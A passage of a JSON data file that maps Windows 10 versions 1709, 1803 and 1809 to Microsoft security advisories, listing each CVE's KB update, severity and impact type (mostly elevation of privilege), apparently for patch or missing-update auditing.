Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493441","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503284","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534276","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537789","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550927","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556812","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571741","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571741","severity":"Important","impact":"Spoofing"}],"Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0824","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103721","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0952","kb":"4343909","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0982","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284835","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462919","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462919","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467702","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103721","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487017","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493464","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003174","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003174","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601354","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-26863","kb":"5000809","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001339","severity":"Important","impact":"Security Feature Bypass"}],"Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of 